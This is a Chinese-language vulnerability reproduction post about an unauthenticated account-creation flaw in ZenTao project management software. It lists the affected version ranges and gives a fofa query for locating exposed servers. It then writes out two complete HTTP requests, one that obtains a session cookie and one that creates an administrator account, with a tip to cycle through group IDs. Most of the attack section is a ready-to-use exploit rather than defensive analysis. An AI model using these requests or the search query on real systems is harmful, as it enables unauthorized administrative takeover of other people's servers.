禅道项目管理系统在开源版、企业版、旗舰版的部分版本中都存在此安全漏洞。攻击者可利用该漏洞创建任意账号实现未授权登录。
1.漏洞级别
高危
2.漏洞搜索
fofa:
title="禅道"
3.影响范围
v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)
4.漏洞复现
4.1 获取有效cookie
构造请求
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=dddidkyodsnfamzvjidb&branch=klmnehgxnsmeuhshbooy HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
注:发起的请求中如果携带了默认的cookie 需要删除再发送请求
4.2 创建账号
可以直接构造POC
POST /zentao/api.php/v1/users HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Cookie: zentaosid=上一部获取的有效cookie;
Connection: close
Content-Length: 88{"account":"rootroot","password":"Qwe123","realname":"rootroot","role":"","group":"1"}
创建成功之后会返回http201。
注:
- 账号的权限由group配置的,这个一般是系统管理员设置的分组。
- 通常情况下1是默认管理员,但是这个不是绝对的,可以逐一尝试。
- 数字最小值为1 逐渐递增
然后即可成功登录。
4.3 漏洞进阶
随文章附一个简单的利用脚本,感兴趣的可以参考一下。
如有问题,欢迎留言沟通~